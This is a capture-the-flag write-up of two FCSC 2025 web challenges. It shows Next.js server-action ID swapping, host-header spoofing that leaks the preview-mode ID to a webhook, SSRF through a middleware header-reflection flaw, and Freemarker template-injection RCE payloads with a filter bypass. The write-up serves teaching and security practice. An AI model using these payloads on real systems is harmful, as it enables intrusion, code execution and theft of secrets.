Featured image of post NextJS research, Actions discovery, SSRF, VHOST spoofing & Freemarker SSTI with filter bypass - FCSC 2025 Wirteups

NextJS research, Actions discovery, SSRF, VHOST spoofing & Freemarker SSTI with filter bypass - FCSC 2025 Wirteups

Writeup of two Web challenges from FCSC 2025, featuring a NextJS application and a Spring Boot application.

Under Nextruction - Web (24 solves)

I started learning Next.js recently, and I’ve begun developing a small website. It’s still under development, so I’m not exposing sensitive features using key Next.js APIs. I should be safe, right?

  • Attachment: under-nextruction.tar.xz
  • URL: https://under-nextruction.fcsc.fr:2213/

Introduction

The challenge Under Nextruction has two services:

  1. under-nextruction-app: NextJS vulnerable application
  2. under-nextruction-flag: Flask application to retrieve the flag
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
services:
  under-nextruction-app:
    build: ./src/nextjs
    ports:
      - "8000:8000"
    environment:
      - FLAG_STORE_KEY=FAKE_KEY
      - JWT_SECRET=FAKE_SECRET
    restart: unless-stopped

  under-nextruction-flag:
    build: ./src/flag-store
    environment:
      - FLAG_STORE_KEY=FAKE_KEY
      - FLAG=FCSC{flag_placeholder}
    restart: unless-stopped

To obtain the flag, a GET request must be sent to http://under-nextruction-flag/get_flag with the header X-Key set to FLAG_STORE_KEY.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
from flask import Flask, request, jsonify
from os import environ

app = Flask(__name__)

@app.get("/get_flag")
def get_flag():
  if request.headers.get("X-Key") != environ.get("FLAG_STORE_KEY", "FAKE_KEY"):
    return jsonify({ "error": "Invalid X-Key value provided!" }, 403)

  return jsonify({ "flag": environ.get("FLAG") })

app.run("0.0.0.0", 5000)

The NextJS application is version 15.2.4, so previous research on middleware bypass and SSRF was fixed.

The application includes four routes and one middleware for handling authentication.

File path (in src/nextjs/src/) Routes Method
middleware.js Regex matching Middleware
app/page.js / Page
app/login/page.js /login Page
pages/api/user.js /api/user API endpoint
pages/api/revalidate.js /api/revalidate API endpoint

Next.js uses file-system based routing, meaning you can use folders and files to define routes. NextJS - Routing

Register an account

The first step was to register an account, as the user interface provided a login feature but no registration option.

NextJS - Login page

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
"use client";

import UnderConstruction from "@/components/UnderConstruction";
import { login, register } from "./actions";
import { useActionState } from "react";

const initialState = {
  success: false,
  error: null
};

export default function LoginPage({ isPreviewMode }) {
  const [stateLogin, formLogin] = useActionState(login, initialState);
  const [stateRegister, formRegister] = useActionState(register, initialState);
  
  return (
    <div>
        <!--
            Login JSX page with stateLogin and formLogin,
            stateRegister and formRegister are NOT used.
        -->
    </div>
  );
}

Source: src/nextjs/src/app/login/page.js

There is a login/page.js file, but no register/page.js file. However, the source code imports both the login and register actions, although only the login action is used in the page’s HTML content.

The simplified HTTP request for the login action is as follows:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
POST /login HTTP/2
Host: under-nextruction.fcsc.fr:2213
User-Agent: Mozilla/5.0 ...
Accept: text/x-component
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Next-Action: 606a919935d7a58f741d3b37dfcdb8df0239d8be02
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22login%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2C%22%2Flogin%22%2C%22refresh%22%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Content-Type: multipart/form-data; boundary=----geckoformboundarya75f86745d68b7d76baca49f2efa5c4
Content-Length: XXX

------geckoformboundarya75f86745d68b7d76baca49f2efa5c4
Content-Disposition: form-data; name="1_username"

foobar
------geckoformboundarya75f86745d68b7d76baca49f2efa5c4
Content-Disposition: form-data; name="1_password"

foobar
------geckoformboundarya75f86745d68b7d76baca49f2efa5c4--

By inspecting the JS files, such as /_next/static/chunks/app/login/page-a2ae2637ce4a9178.js, the Next-Action IDs for the login and register actions can be identified.

1
2
let n=(0,l.createServerReference)("606a919935d7a58f741d3b37dfcdb8df0239d8be02",l.callServer,void 0,l.findSourceMapURL,"login"),
a=(0,l.createServerReference)("60119a0e16f4930d77814c521045541c804c123986",l.callServer,void 0,l.findSourceMapURL,"register");

By replacing the Action ID from the login with the register action, an account can be successfully created!

NextJS - Register request

Leak the FLAG_STORE_KEY

Once logged into an account, an “under construction” page with a “revalidate” button is encountered.

NextJS - Index page

As a logged-in user, you have access to two API routes:

  • /api/user
  • /api/revalidate

To obtain the FLAG_STORE_KEY, preview mode must be enabled.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
export default function handler(req, res) {
  if (!req.preview) {
    return res.status(403).json({
      error: "Must be in preview mode.",
      timestamp: new Date().toISOString(),
    });
  }
  const username = req.headers["x-user"];

  return res.status(200).json({
    username: username || null,
    timestamp: new Date().toISOString(),
    flagStoreKey: process.env.FLAG_STORE_KEY || "FAKE_KEY"
  });
}

Source: src/nextjs/src/pages/api/user.js

From the documentation, the names of the cookies responsible for holding the preview mode are:

  • __prerender_bypass: Contains a random ID.
  • __next_preview_data: Holds cryptographically signed data.

Docs - Preview Mode

From the source code below, to be in isPreviewMode, previewData must not be strictly false.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
let previewData: PreviewData
let isPreviewMode = false

if (hasServerProps || isSSG || isAppPath) {
  // For the edge runtime, we don't support preview mode in SSG.
  if (process.env.NEXT_RUNTIME !== 'edge') {
    const { tryGetPreviewData } =
      require('./api-utils/node/try-get-preview-data') as typeof import('./api-utils/node/try-get-preview-data')
      previewData = tryGetPreviewData(
        req,
        res,
        this.renderOpts.previewProps,
        !!this.nextConfig.experimental.multiZoneDraftMode
      )
    isPreviewMode = previewData !== false
  }
}

Source: Github - server/base-server.ts

The tryGetPreviewData function uses the two cookies to retrieve information about the preview mode.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
export function tryGetPreviewData(
  req: IncomingMessage | BaseNextRequest | Request,
  res: ServerResponse | BaseNextResponse,
  options: __ApiPreviewProps,
  multiZoneDraftMode: boolean
): PreviewData {
  // [...]
  const headers = HeadersAdapter.from(req.headers)
  const cookies = new RequestCookies(headers)

  const previewModeId = cookies.get(COOKIE_NAME_PRERENDER_BYPASS)?.value
  const tokenPreviewData = cookies.get(COOKIE_NAME_PRERENDER_DATA)?.value

  // Case: preview mode cookie set but data cookie is not set
  if (
    previewModeId &&
    !tokenPreviewData &&
    previewModeId === options.previewModeId
  ) {
    // This is "Draft Mode" which doesn't use
    // previewData, so we return an empty object
    // for backwards compat with "Preview Mode".
    const data = {}
    Object.defineProperty(req, SYMBOL_PREVIEW_DATA, {
      value: data,
      enumerable: false,
    })
    return data
  }
  // [...]
}

Source: Github - server/api-utils/node/try-get-preview-data.ts

To be in preview mode, two conditions must be satisfied:

  1. The cookie __prerender_bypass must match options.previewModeId.
  2. The cookie __next_preview_data must not be defined.

The options.previewModeId is a cryptographically secure random hexadecimal value generated at build time. This ID is not present in the exposed JS files, so it needs to be leaked.

1
2
3
4
5
const previewProps: __ApiPreviewProps = {
  previewModeId: crypto.randomBytes(16).toString('hex'),
  previewModeSigningKey: crypto.randomBytes(32).toString('hex'),
  previewModeEncryptionKey: crypto.randomBytes(32).toString('hex'),
}

Source: Github - build/index.ts

Before continuing the research, it is worth noting that nextConfig.experimental.trustHostsHeader is set to true. This will be useful later.

1
2
3
4
5
6
7
const nextConfig =  {
  experimental: {
    trustHostHeader: true
  }
};

export default nextConfig;

Source: src/nextjs/src/next.config.mjs

To leak the options.previewModeId, we will exploit the res.revalidate("/") function from the /api/revalidate route.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
export default async function handler(req, res) {
  try {
    await res.revalidate("/");

    return res.status(200).json({
      revalidated: true,
      timestamp: new Date().toISOString(),
      message: "Cache revalidated successfully",
    });
  } catch (err) {
    return res.status(500).json({
      revalidated: false,
      message: "Error revalidating cache",
      error: err.message,
    });
  }
}

With VHOST spoofing, we can leak the previewModeId by receiving a HEAD request to our webhook.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
async function revalidate(
  urlPath: string,
  opts: {
    unstable_onlyGenerated?: boolean
  },
  req: IncomingMessage,
  context: ApiContext
) {
  // [...]
  const revalidateHeaders: HeadersInit = {
    [PRERENDER_REVALIDATE_HEADER]: context.previewModeId,
    ...(opts.unstable_onlyGenerated
      ? {
          [PRERENDER_REVALIDATE_ONLY_GENERATED_HEADER]: '1',
        }
      : {}),
  }
  // [...]

  try {
    if (context.trustHostHeader) {
      const res = await fetch(`https://${req.headers.host}${urlPath}`, {
        method: 'HEAD',
        headers: revalidateHeaders,
      })
    }
    // [...]
  } catch (err: unknown) {
    throw new Error(
      `Failed to revalidate ${urlPath}: ${isError(err) ? err.message : err}`
    )
  }
}

Source: Github - server/api-utils/node/api-resolver.ts

NextJS - Revalidate VHOST Spoofing

The server returned a 500 error, but the HEAD request was successfully sent to our webhook:

NextJS - Webhook

We obtained the x-prerender-revalidate value (representing the previewModeId), which is 59c6709a1c2b39386a72b0026399960b.

Now, we can send a request to the /api/user route with the valid cookie to obtain the FLAG_STORE_KEY.

NextJS - Obtain FLAG_STORE_KEY

The FLAG_STORE_KEY is equals to 8fce97b0137965a3ddd635355eb3b1d249844c814c7981ade10dc201a329b457.

SSRF to the Flask App

Now that we have the FLAG_STORE_KEY, the final step is to send a request to GET http://under-nextruction-flag/get_flag with the X-Key header.

To do this, we need to find an SSRF vulnerability that operates over http (the previous one was only https). This vulnerability must allow us to control the host and path, add a custom header, and read the response. I spent a lot of time searching for calls to the fetch function to find an SSRF that met all these criteria. However, the vulnerability was actually a code smell in the middleware:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import { NextResponse } from "next/server";
import { verify } from "./lib/jwt";

const baseUrl = process.env.PUBLIC_BASE_URL || 'http://localhost:3000';

export async function middleware(request) {
  const parsedUrl = new URL(request.url);

  const sessionValue  = request.cookies.get("session")?.value;
  const verifiedSession = await verify(sessionValue);
  if ((!sessionValue || !verifiedSession) && parsedUrl.pathname !== "/login") {
    return NextResponse.redirect(new URL(`${baseUrl}/login`, request.url));
  }

  if (parsedUrl.pathname.startsWith("/api/")) {
    const requestHeaders = new Headers(request.headers);
    requestHeaders.set("X-User", verifiedSession.username);
    return NextResponse.next({ headers: requestHeaders });
  }
  return NextResponse.next();
}

export const config = {
	matcher: [ "/", "/((?!_next|.*\\..*).+)" ],
};

Source: src/nextjs/src/middleware.js

The middleware appears secure at first glance, but the developer made a mistake:

1
2
3
return NextResponse.next({ headers: requestHeaders });
// instead of
return NextResponse.next({ request: { headers: requestHeaders} })

This flaw causes the application to reflect all the request headers in the response headers. Therefore, if a Location header is set in the request, it will be reflected in the response.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
export class NextResponse extends Response {
  // [...]
  static next(init) {
    const headers = new Headers(init == null ? void 0 : init.headers);
    headers.set('x-middleware-next', '1');
    handleMiddlewareField(init, headers);
    return new NextResponse(null, {
      ...init,
      headers
    });
  }

By setting the Location header, we can trick NextJS into thinking the middleware wants a redirection, even though the status code will be 200 instead of 3XX. The redirect URL from Location is set to parsedUrl.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
if (middlewareHeaders['location']) {
  const value = middlewareHeaders['location'] as string
  const rel = getRelativeURL(value, initUrl)
  resHeaders['location'] = rel
  parsedUrl = url.parse(rel, true)

  return {
    parsedUrl,
    resHeaders,
    finished: true,
    statusCode: middlewareRes.status,
  }
}

Source: Github - server/lib/router-utils/resolve-routes.ts

As the status code is 200, the request will bypass the “handle redirect if block” and proceed to the proxyRequest function. This function will fetch the parsedUrl using the headers from the initial request.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
// handle redirect
if (!bodyStream && statusCode && statusCode > 300 && statusCode < 400) {
  const destination = url.format(parsedUrl)
  res.setHeader('location', destination)
  // [...]
}

// [...]
if (finished && parsedUrl.protocol) {
  return await proxyRequest(
    req,
    res,
    parsedUrl,
    undefined,
    getRequestMeta(req, 'clonableBody')?.cloneBodyStream(),
    config.experimental.proxyTimeout
  )
}

Source: Github - server/lib/router-server.ts

To obtain the flag, simply set the Location header to http://under-nextruction-flag/get_flag and include the X-Key header with the value set to FLAG_STORE_KEY.

NextJS - Webhook

Voilà!

Happy Face - Speedrun/Web (4 solves)

Let’s put a smile on your face.

  • Attachment: happy-face.tar.xz
  • URL: https://happy-face.fcsc.fr/

During the FCSC, there was a category called Speedrun where participants had to solve various challenges (reverse, pwn, crypto, web, etc.) within 9 hours. The goal of this category was to measure the speed and versatility of each player.

Introduction

Happy Face was a web challenge, it had a single feature: transforming sad text 😢 into happy text 😊.

Happy Face - Index page

The source code was simple, there was a single page that accepted an optional parameter called text.

If the text parameter contained:

  • <, >, \: The request was aborted.
  • emojis and (: These characters were replaced with other emojis or ).

Afterward, the text variable (our input) and the output variable (filtered input) were rendered inside a Freemarker template. The template engine was up to date, version 2.3.34.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
package com.speedrun.demo

// [...]

@SpringBootApplication
@RestController
class DemoApplication {

    @GetMapping("/")
    @ResponseBody
    fun index(@RequestParam(required = false,
            defaultValue = "I'm [...]") text: String) : String {
        
        val badChars = arrayOf("<", ">", "\\")

        badChars.forEach { c ->
            if (text.contains(c)){
                return "Please no XSS"
            }
        }

        val sadToHappy = mapOf(
            "😢" to "😊",
            "😞" to "😁",
            "😔" to "😄",
            "☹️" to "🙂",
            "🙁" to "😃",
            "😩" to "😆",
            "😫" to "😅",
            "😿" to "😸",
            "😭" to "😂",
            "😣" to "😌",
            "😖" to "😋",
            "😟" to "😉",
            "😬" to "😎",
            "😓" to "😇",
            "😥" to "😍",
            "(" to ")"
        )

        val output = sadToHappy.entries.fold(text) { acc, (sad, happy) ->
            acc.replace(sad, happy)
        }


        val templateString = """
        [...]
        <body>
            <h1>Happy Faces</h1>
            <p>
                Turn any text into a cheerful version with our advanced AI.
            </p>
            <pre>$output</pre>
            <form>
                <textarea name="text">$text</textarea>
                <button type="submit">Convert</button>
            </form>
        </body>
        """.trimIndent()

        val template = Template("index", StringReader(templateString), Configuration.getDefaultConfiguration())

        val writer = StringWriter()
        template.process(null, writer)
        return writer.toString()
    }

    companion object {
        @JvmStatic
        fun main(args: Array<String>) {
            SpringApplication.run(DemoApplication::class.java, *args)
        }
    }
}

Source: com/speedrun/demo/DemoApplication.kt

When a simple payload is executed, it runs twice (text and output variables)!

Happy Face - Simple payload

When an RCE payload is attempted, an error occurs because the filtered input contains syntax errors and is executed before the valid input.

1
2
filtered: ${"freemarker.template.utility.Execute"?new)))"id")}
input:    ${"freemarker.template.utility.Execute"?new()("id")}

Happy Face - Error payload

My strategy was to find a way to prevent the page from crashing with the filtered variable and achieve RCE with the second variable.

Attempt / Recover

To achieve this, I first searched for try/catch features within the Freemarker template documentation. I found one called attempt, recover.

1
2
3
4
5
<#attempt>
  attempt block
<#recover>
  recover block
</#attempt>

However, the characters <> are completely blocked, making it impossible to use for the challenge.

FTL directive

The ftl directive allows a user to switch the <tag> syntax to [tag] syntax (which is not filtered).

This directive also determines if the template uses angle bracket syntax (e.g. <#include ‘foo.ftl’>) or square bracket syntax (e.g. [#include ‘foo.ftl’]). Simply, the syntax used for this directive will be the syntax used for the whole template, regardless of the FreeMarker configuration settings.

However, the directive must be on the first line of the template, which cannot be controlled.

This directive, if present, must be the very first thing in the template.

Playing with quotes

I had an idea that made me think of a dangling markup payload. The goal was to place the non-valid code inside a string, preventing its execution. Then, the second payload would close the string to execute the code.

Happy Face - Dangling payload

However, I encountered an <EOF> error when trying to run this code.

1
2
freemarker.core.ParseException: Syntax error in template "index" in line 80, column 9:
Lexical error: encountered <EOF> after "\'} XXX</textarea>\n\t\t\t<button type=\"submit\">Convert</button>...".

I resolved this issue by simplifying the payload and using a raw string.

To indicate that a string literal is a raw string literal, you have to put an r directly before the opening quotation mark or apostrophe-quote. Freemarker - Expressions

Happy Face - Final payload

To obtain the flag, simply execute the binary /app/get_flag.

1
 ${r'} ${"freemarker.template.utility.Execute"?new()("/app/get_flag")}

Happy Face - Flag


BitK solves this challenge with a one-liner that evaluates if '(' == ')'.

1
${'""+"freemarker.template.utility.Execute"?new()("/app/get_flag")'[0..["'('==')'"?eval?c?length-4][0]*61+1]?eval}
Built with Hugo
Theme Stack designed by Jimmy